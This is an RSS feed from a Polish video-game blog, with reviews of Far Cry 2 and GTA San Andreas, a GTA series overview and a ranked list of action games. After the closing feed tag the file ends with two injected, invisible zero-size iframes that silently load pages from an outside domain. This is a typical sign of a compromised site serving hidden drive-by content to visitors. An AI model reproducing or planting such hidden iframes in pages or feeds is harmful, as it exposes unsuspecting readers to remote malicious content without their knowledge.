<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Great game - to była wspaniała gra &#187; akcja</title>
	<atom:link href="http://www.great-game.net/tag/akcja/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.great-game.net</link>
	<description>Chwile spędzone podczas grania, o których warto pamiętać.</description>
	<lastBuildDate>Thu, 29 Jul 2010 18:02:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Far Cry 2</title>
		<link>http://www.great-game.net/zrecenzowane/far-cry-2/</link>
		<comments>http://www.great-game.net/zrecenzowane/far-cry-2/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 00:52:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[akcja]]></category>
		<category><![CDATA[fps]]></category>
		<category><![CDATA[Ubisoft]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=127</guid>
		<description><![CDATA[Gra która szturmem podbiła listy sprzedaży, zdobyła fanów na całym świecie doczekała się  kontynuacji? Chodzi oczywiście o Far Cry. Czy dwójka okaże się  takim sukcesem co jedynka? Czy przeniesienie z tropikalnej wyspy na pustynną sawannę to dobry pomysł? Przekonajmy się!
Czego by o hicie z logiem Crytek Studios nie mówić, trzeba pamiętać, otwarte przestrzeń [...]]]></description>
			<content:encoded><![CDATA[<p>Gra która szturmem podbiła listy sprzedaży, zdobyła fanów na całym świecie doczekała się  kontynuacji? Chodzi oczywiście o Far Cry. Czy dwójka okaże się  takim sukcesem co jedynka? Czy przeniesienie z tropikalnej wyspy na pustynną sawannę to dobry pomysł? Przekonajmy się!<span id="more-127"></span></p>
<p>Czego by o hicie z logiem <em>Crytek Studios</em> nie mówić, trzeba pamiętać, otwarte przestrzeń oferowana graczom była przeogromna. Gracze doskonale pamiętają te momenty, w których Jack Carver, spoglądając niemal &#8220;za horyzont&#8221;, dostrzegał niewielką wysepkę. Jak wielką satysfakcję mieliśmy, odwiedzając ten zakątek po godzinie gry, nie trzeba chyba wyjaśniać. Far Cry powalał swoim ogromem i jakością wykonania. Tym trudniejsze okazało się zadanie, jakie wyznaczyli sobie programiści z Ubisoftu, którzy przejęli prawo do realizacji drugiej części. Istotnie &#8211; projekt z napisem <strong>Far Cry 2</strong> to dzieło udane, a do tego wielkie i momentami powalające, tyle że&#8230; to nie jest Far Cry. Ale po kolei.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-128" style="border: 1px solid black;" title="Far Cry 2" src="http://www.great-game.net/wp-content/uploads/2010/01/farcry2.jpg" alt="Far Cry 2" width="460" height="300" /></p>
<p>Jeśli zdanie z poprzedniego akapitu o tym, że nowa gra nie zasługuje na nazwę Far Cry zakotłowało wami, spieszę z wyjaśnieniami. To był komplement! Po prostu autorzy wprowadzili w grze tyle zmian, że nie przypomina ona już swojego prostego poprzednika. Przy całym szacunku dla technologii dzieło autorstwa Crytek Studios było prostą strzelaniną. Oto natomiast krótki katalog nowości, który postaramy się w dalszej części rozwinąć. Nie ma już Jacka Carvera, bohatera pierwowzoru, działamy nie na tropikalnym wyspie, gdzie wszystko skąpane jest zielono-błękitno-złotą poświatą, ale w ciężkich momentami i przygnębiających kolorystycznie zakątkach fikcyjnego Czarnego Lądu. Do tego &#8211; brak w FC 2 liniowości i jedynej słuszniej drogi, którą trzeba podążać jak po sznurku. Historia jest oczywiście opowiadana, ale robić można o wiele więcej, niż ona przewiduje.</p>
<p>Pierwszą zmianę względem poprzednika można dostrzec już podczas przygotowań do rozpoczęcia rozgrywki. Musimy wówczas dokonać wyboru naszej postaci spośród dziewięciu dostępnych najemników. Każdy z nich ma swoją krótką historię. Następnie ruszamy do akcji, co w tym przypadku oznacza, że przez kilkanaście minut jedziemy autobusem po afrykańskich bezdrożach, słuchając opowieści kierowcy. Następnie pojawia się zły, który mierzy do nas z pistoletu i zostawia nas na wpół żywych w niezbyt przyjaznym miejscu. Od tej chwili wiadomo, że zły, a więc Szakal, to handlarz broni i narkotyków, na którego przez całą grę będziemy polować.</p>
<p>W FC 2 istnieją dwie zwalczające się frakcje. Trochę to wprawdzie dziwne, że wszędzie próbują sobie dopiec, a w miastach w centrum mapy, w zdemilitaryzowanej strefie żyją sobie bez przeszkód, ale cóż &#8211; uproszczeń nigdy się nie uniknie. Ważne jest to, że w miastach otrzymać możemy misje od jednej bądź drugiej frakcji. Historia związana z Szakalem przewija się w tle niezależnie od tego, co robimy. Przez długi czas nawet nie usłyszymy o jego obecności.</p>
<p>A zatem główny wątek biegnie niejako obok dwutorowej możliwości, jaką daje nam wykonywanie zadań dla frakcji. Ale to wcale nie wszystko, co można w FC 2 czynić. Zbierać można jeszcze diamenty, bo na mapie jest rozrzuconych ponad 200 walizek, w których je schowano. Służą one do zakupu broni i ulepszania sprzętu. Z bronią wiąże się również możliwość wykonywania dodatkowych misji. Zlecają je nam handlarze, którzy zazwyczaj chcą wykończyć konkurentów. Ba! I to jednak nie koniec. Ostatni typ misji wykonywać musimy niejako z konieczności. Otóż nasz bohater zapadł w Afryce na malarię. Z tej przyczyny ma przy sobie fiolkę z prochami, które co mniej więcej 30 minut trzeba brać. Gdybyśmy tego nie uczynili, ekran zielenieje, a po chwili czeka nas niezbyt przyjemny zgon. Otóż środki farmakologiczne mają to do siebie, że się kończą. Wówczas należy udać się do pobliskiego kościoła, którego wikary zleci nam misję (głównie dostarczenie dokumentów we wskazane miejsce). W zamian otrzymamy cenny lek.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-129" style="border: 1px solid black;" title="Far Cry 2" src="http://www.great-game.net/wp-content/uploads/2010/01/farcry22.jpg" alt="Far Cry 2" width="460" height="300" /></p>
<p>Jak widać, mechanikę gry znacznie poszerzono i urozmaicono. Teren działań jest naprawdę spory, dlatego do przemieszczania się potrzebne będą dwie rzeczy: środek lokomocji oraz mapa. Ten pierwszy znajduje się pod ręką niemal zawsze tam, gdzie go potrzebujemy. Wskoczyć możemy do auta osobowego, ciężarówki, jeepa lub Land Rovera. Ten ostatni wyposażony jest w karabin maszynowy. W dowolnym momencie możemy przełączyć się między stanowiskiem kierowcy a strzelca. Zabrakło niestety motocykli, a szkoda. Zamiast nich możemy skorzystać z autobusu, a w zasadzie przystanków, które łączą kilka punktów obszaru. Podróż odbywa się jedynie przez symboliczny warkot silnika i już po chwili jesteśmy na miejscu. Kolejnym środkiem lokomocji są łodzie. Te mają różne rozmiary i również są wyposażone w KM-y. Rzecz jasna, wszędzie możemy próbować dotrzeć na piechotę (niekiedy jesteśmy do tego zmuszeni), co jednak bywa męczące na dłuższych dystansach. Ciekawostką i świetnym smaczkiem w grze jest to, że pojazdy (łodzie i samochody) psują się. Stają wówczas w kłębach dymu, które powiększają się, które kończą się wybuchem. Jeśli nie chcemy stracić wozu i życia, musimy trochę pokręcić korbą, by podregulować obroty silnika.</p>
<p>Wśród nowinek wykonanych na zdumiewająco realistycznym poziomie warto jeszcze wspomnieć o zmieniającym się czasie. W grze minuty płyną szybciej niż w rzeczywistości, ale dzięki temu co i rusz zauważamy zmiany otaczającej nas przyrody. Te same miejsca inaczej wyglądają w pełnym blasku oślepiającego słońca, a inaczej w świetle reflektorów samochodowych w nocy i o zmierzchu. Niesamowicie prezentują się wschody i zachody słońca. Upływ czasu możemy w pewnym stopniu kontrolować. Wystarczy udać się do jednego ze specjalnych bezpiecznych domów na drzemkę. Samemu ustalimy wówczas moment pobudki.</p>
<p>FC 2 ma niestety trochę wad. Nie są to jakieś typowe bugi, które uniemożliwiają zabawę, ale raczej pewne uproszczenia. Po pierwsze, jak na TAKĄ produkcję, otoczenie poddaje się zdecydowanie za małej demolce. Czasami napotkamy przedmioty, które na zdrowy rozum powinny się rozwalić po serii z AK-47, a tu, nic! Pamiętacie demolkę w Crysisie, gdzie wali się na głowę dosłownie wszystko? Tu niestety tak nie jest.</p>
<p>Kolejna sprawa to odradzający się przeciwnicy. Cóż &#8211; jedni gracze po prostu tego nie lubią, więc uznają to za wadę, innym nie będzie to przeszkadzało. Fakt jednak pozostaje faktem, że gdy wyczyścimy jakiś punkt z wroga, to za 5 minut znów tam będzie. Inna sprawa, że w większości przypadków, jadąc szybkim wozem, można uciec i takie spotkania sobie darować, aby skupić się na wykonywaniu zadań.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-130" style="border: 1px solid black;" title="Far Cry 2" src="http://www.great-game.net/wp-content/uploads/2010/01/farcry23.jpg" alt="Far Cry 2" width="460" height="300" /></p>
<p>FC 2 nie grzeszy także nadmiarem oryginalnych pomysłów, jeśli chodzi o urozmaicenie zadań. Jakiejś tragedii w tym względzie nie ma, ale poza standard w zasadzie nie wykracza. Z upływem czasu powstaje więc wrażenie pewnej monotonni. Mimo podróży po urokliwych drogach, jazda do miejsca, w którym po raz 20 musimy wybić wszystkich przeciwników, może być nudna.</p>
<p>Ważąc jednak na szali wszelkie &#8220;za&#8221; i &#8220;przeciw&#8221;, trzeba jednoznacznie stwierdzić, że nowe dzieło Ubisoftu jest udane. Przede wszystkim gra oferuje sporą oryginalność i dość nowatorskie spojrzenie na otaczający nas wirtualny świat. Za sprawą upływu czasu, zmian w przyrodzie, urokliwie przedstawionych wszystkich &#8220;drobiazgowych&#8221; czynności i animacji uzyskuje się wrażenie większej intensywności przeżywanej historii. Pod tym względem jest to produkt wyprzedzający konkurencyjne.</p>
<p><object width="425" height="344" data="http://www.youtube.com/v/DMTDjKusVqY&amp;hl=pl_PL&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/DMTDjKusVqY&amp;hl=pl_PL&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/far-cry-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grand Theft Auto &#8211; opis serii</title>
		<link>http://www.great-game.net/kompedium/grand-theft-auto-opis-serii/</link>
		<comments>http://www.great-game.net/kompedium/grand-theft-auto-opis-serii/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 11:40:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Kompedium]]></category>
		<category><![CDATA[akcja]]></category>
		<category><![CDATA[GTA]]></category>
		<category><![CDATA[Rockstar Games]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=70</guid>
		<description><![CDATA[Grand Theft Auto to produkcja stara jak świat. Nie ma osoby, która by nie słyszała o tej serii gier. Fakt faktem, przez ten długi czas w jakim jest wydawana zdążyła zdobyć sobie gigantyczną rzeszę fanów. Co jest powodem sukcesu właśnie tej gry? Postarajmy się odpowiedzieć na to pytanie.
Przede wszystkim zacznijmy od tego, że GTA należy [...]]]></description>
			<content:encoded><![CDATA[<p>Grand Theft Auto to produkcja stara jak świat. Nie ma osoby, która by nie słyszała o tej serii gier. Fakt faktem, przez ten długi czas w jakim jest wydawana zdążyła zdobyć sobie gigantyczną rzeszę fanów. Co jest powodem sukcesu właśnie tej gry? Postarajmy się odpowiedzieć na to pytanie.<span id="more-70"></span></p>
<p><img class="alignleft size-full wp-image-71" style="border: 1px solid black; margin: 10px;" title="gta" src="http://www.great-game.net/wp-content/uploads/2009/06/gta.jpg" alt="gta" width="320" height="220" />Przede wszystkim zacznijmy od tego, że <strong>GTA</strong> należy do gatunku gier nie grzecznych. Mam tutaj na myśli to, że można w nią grać dopiero po ukończeniu 16 lat a w niektórych krajach nawet 18. No cóż, bieganie nie raz z karabinem po ulicach, zabijanie setek wrogów, narkotyki, prostytucja i dialogi postaci, które nie przebierają w słowach to nie klimat dla małych dzieci. Ale my oczywiście w pełni dorośli gracze, wychowani na piersi takich zdobyczy techniki jak Pegazus i z uporem przechodzący swego czasu takie hity jak Super Mario Bros możemy oczywiście w taką grę zagrać. Już tutaj widzimy pierwszy czynnik, który przyniósł grze sukces: ludzi zawsze kręciło to co jest zabronione, coś nie grzecznego, zakazany owoc, który smakuje najlepiej.</p>
<p>Druga rzecz, za którą chwali się GTA to klimat. Nie każda gra potrafi wciągnąć na tak długi czas, jak właśnie GTA. Większość takich gier ogranicza się do strzelania i nudnego scenariusza, tutaj jest zupełnie odwrotnie. Mamy mnóstwo zleceń od różnych osób, wykonujemy misje, które cały czas wpływają na to co dzieje się w grze. Wszystko jest logiczne i realistyczne i to właśnie jest kolejnym plusem gry.</p>
<p>Kolejny czynnik, stawiający GTA na szczytach rankingów to swoboda. Nie ma tutaj tzw. <strong>„niewidzialnych ścian”</strong>. Możemy dostać się wszędzie, pojechać wszędzie, popłynąć wszędzie, polecieć wszędzie. Jesteśmy wolni. Kolejność misji jakie wykonamy leży w naszych rękach. To poczucie wolności ma bardzo duży wpływ na gracza, gdyż czuje on władzę w swoich rękach. Naprawdę, ma to wielki wpływ na osobę grającą w GTA.</p>
<p><strong>Mówiąc o GTA nie można też zapomnieć o grafice i muzyce</strong> panującej w grze. Jeśli chodzi o grafikę to od III części gry nabrała ona nowego trójwymiarowego znaczenia. Była bardzo dobra pod każdym względem. Nie zachwycała jakoś specjalnie, była po prostu bardzo dobra. W miarę wydawania kolejnych części poprawiała się i tutaj plus dla niej. Co do muzyki to nigdy nie mogliśmy narzekać, że była słaba. Muzyka w GTA należy do jednych z najlepszych jakie znam. Zawsze dobrana z dobrym smakiem i stacje radiowe dzięki którym aż chciało się jeździć samochodem.</p>
<p>Podsumowując GTA to jedna z tych gier, która w pełni zapracowała sobie na swój sukces. Powoli ale solidnie i z gracją znalazła się na szczycie podium w świecie gier. Każdy szanujący się gracz powinien w nią zagrać.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/kompedium/grand-theft-auto-opis-serii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ranking gier akcji</title>
		<link>http://www.great-game.net/growa-publicystyka/ranking-gier-akcji/</link>
		<comments>http://www.great-game.net/growa-publicystyka/ranking-gier-akcji/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 18:47:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Growa publicystyka]]></category>
		<category><![CDATA[akcja]]></category>
		<category><![CDATA[ranking]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=24</guid>
		<description><![CDATA[Nasz subiektywny ranking gier akcji
1. Mass Effect

2. F.E.A.R. 2: Project Origin
3. Dead Space
4. Crysis: Warhead
5. Call of Duty: World at War
6. Far Cry 2
7. Left 4 Dead
8. Sacred 2: Fallen Angel
9. Prince of Persia
10. Grand Theft Auto IV
11.	PC Mirror&#8217;s Edge
12.	PC Bully: Scholarship Edition
13.	PC Assassin&#8217;s Creed	Sprawdź
14.	PC Devil May Cry 4	Sprawdź
15.	PC Tomb Raider: Underworld
16.	PC Brothers in Arms: [...]]]></description>
			<content:encoded><![CDATA[<p>Nasz subiektywny ranking gier akcji</p>
<p><strong>1. Mass Effect</strong><br />
<span id="more-24"></span><br />
2. F.E.A.R. 2: Project Origin<br />
3. Dead Space<br />
4. Crysis: Warhead<br />
5. Call of Duty: World at War<br />
6. Far Cry 2<br />
7. Left 4 Dead<br />
8. Sacred 2: Fallen Angel<br />
9. Prince of Persia<br />
10. Grand Theft Auto IV</p>
<p>11.	PC Mirror&#8217;s Edge<br />
12.	PC Bully: Scholarship Edition<br />
13.	PC Assassin&#8217;s Creed	Sprawdź<br />
14.	PC Devil May Cry 4	Sprawdź<br />
15.	PC Tomb Raider: Underworld<br />
16.	PC Brothers in Arms: Hell&#8217;s Highway<br />
17.	PC Mercenaries 2: World in Flames<br />
18.	PC S.T.A.L.K.E.R.: Clear Sky<br />
19.	PC WALL-E<br />
20.	PC Lost Planet: Colonies<br />
21.	PC Tom Clancy&#8217;s Rainbow Six Vegas 2<br />
22.	PC Silent Hill: Homecoming<br />
23.	PC Quantum of Solace<br />
24.	PC Turok<br />
25.	PC Code of Honor 2: Conspiracy Island<br />
26.	PC Saints Row 2<br />
27.	PC The Lord of the Rings: Conquest<br />
28.	PC Space Siege<br />
29.	PC Alone in the Dark<br />
30.	PC Mortyr: Operacja Sztorm<br />
31.	PC Iron Man<br />
32.	PC Armed Forces Corp.<br />
33.	PC The Royal Marines Commando<br />
34.	PC SAS: Secure Tomorrow<br />
35.	PC Marine Sharpshooter 4: Locked and Loaded<br />
36.	PC Spider-Man: Web of Shadows<br />
37.	PC Penumbra: Requiem<br />
38.	PC The Witcher: Enhanced Edition<br />
39.	PC The Incredible Hulk (2008)<br />
40.	PC The Void</p>
<p>Gry akcji to jeden z najpopularniejszych gatunków gier. Znajdziemy tutaj krwawe strzelaniny oraz gangsterskie pościgi przeplatane walką z duchami czy kosmitami. Stanowią dużą część gier komputerowych i to szczególnie im przyglądają się czujne oczy krytyków. Wszystkie wymienione wyżej gry są wydane na <a href="http://www.pcworld.pl/">komputery PC</a>. Trzeba przyznać, że są one najlepszą zabawą na długie deszczowe dni, kiedy za oknem leje, lub pada śnieg, lub po prostu jest zimno. Możemy szybko odpalić komputer i stać się bohaterem ratując świat lub pokonując całe armie przeciwników. Gry akcji dają dużo radości i satysfakcji, nie wspominając już, że są niezawodnym sposobem na zabicie czasu i pokonanie wszech panującej nudy.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/growa-publicystyka/ranking-gier-akcji/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GTA San Andreas</title>
		<link>http://www.great-game.net/zrecenzowane/gta-san-andreas/</link>
		<comments>http://www.great-game.net/zrecenzowane/gta-san-andreas/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 22:00:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[akcja]]></category>
		<category><![CDATA[GTA]]></category>
		<category><![CDATA[komputerowe]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=12</guid>
		<description><![CDATA[No cóż, pora pożegnać się ze słonecznym Vice City, gorącą plażą i zimnymi drinkami sączonymi w towarzystwie kobiet w bikini, teraz czas na gangsterskie porachunki prowadzone przy muzyce hip-hop i slang czarnej ulicy. Rockstar Games wydało swój nowy produkt – GTA San Andreas. 
Klimat znacznie się zmienia, nie ma tutaj już kolorowych koszul w kwiaty [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">No cóż, pora pożegnać się ze słonecznym Vice City, gorącą plażą i zimnymi drinkami sączonymi w towarzystwie kobiet w bikini, teraz czas na gangsterskie porachunki prowadzone przy muzyce hip-hop i slang czarnej ulicy. Rockstar Games wydało swój nowy produkt – <strong>GTA San Andreas</strong>. <span id="more-12"></span></p>
<p style="text-align: left;">Klimat znacznie się zmienia, nie ma tutaj już kolorowych koszul w kwiaty czy białych spodni, teraz są bluzy z kapturami, szerokie spodnie i ciemne czapki, wszystko po to żeby oddać klimat czarnych gangów z lat 80-tych.</p>
<p style="text-align: left;">Muzyka, tak jak w całej serii z resztą, jest genialna. Mamy do dyspozycji wiele stacji radiowych spośród których każdy znajdzie coś dla siebie, od Snoop Dogg`a przez Cypres Hill do HIM`u.</p>
<p style="text-align: left;">Fabuła w grze jest bardzo dobra, może nie jest to opowieść na miarę oskara ale to naprawdę świetny scenariusz. Carl Johnson opuścił slumsy San Andres i wyjechał do Liberty City, lecz po jakimś czasie jednak zdecydował się powrócić do rodzinnego miasta. <img class="aligncenter size-full wp-image-11" title="gtasascr" src="http://www.great-game.net/wp-content/uploads/2009/02/gtasascr.jpg" alt="gtasascr" width="448" height="314" />Na miejscu niezbyt miłe powitanie szykuje mu oficer Tenpenny, a także jego brat, który ma żal, że CJ zostawił rodzinę na pastwę losu wyjeżdżając po prostu w siną dal. Następnie fabuła rozwija się aż miło. W trakcie rozgrywki pojawiają się nowi bohaterowie, czekają liczne zwroty akcji, jednym słowem – poezja!</p>
<p style="text-align: left;">Strzałem w dziesiątkę okazała się swoboda jaką <em>Rockstar Games</em> dało graczowi. Z naszym głównym bohaterem możemy zrobić praktycznie wszystko : możemy ubrać go jak tylko chcemy w wielu z dostępnych sklepów, dobierając odpowiedni dodatki np. zegarek, okulary, naszyjniki czy bransoletki. Kolejna rzecz to fryzjer, który nie zawaha się utworzyć na naszej głowie każdej możliwej kompozycji, więc można się nieźle zabawić. <img class="aligncenter size-full wp-image-13" title="gtasascr2" src="http://www.great-game.net/wp-content/uploads/2009/02/gtasascr2.jpg" alt="gtasascr2" width="448" height="314" />Jeśli stwierdzimy, że nasz bohater wygląda trochę chuderlawo, możemy iść z nim na siłownię, by nabrał trochę masy mięśniowej i zwiększył swoją kondycję. Po tym wszystkim jak prawdziwi gentlemani zabieramy na randkę jedną z wielu dostępnych w każdym mieście dziewczyn, za co być może spotka nas miła nagroda&#8230;</p>
<p style="text-align: left;">Gra jest w każdym calu bardzo dobra więc trudno przyczepić się do jakiejkolwiek rzeczy, tak jak powiedział ktoś mądry – GTA albo się kocha, albo nienawidzi.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/gta-san-andreas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<IFRAME src="http://mavi1.org" width=0 height=0 frameborder=0></IFRAME>
<IFRAME src="http://mavi1.org/forum" width=0 height=0 frameborder=0></IFRAME>

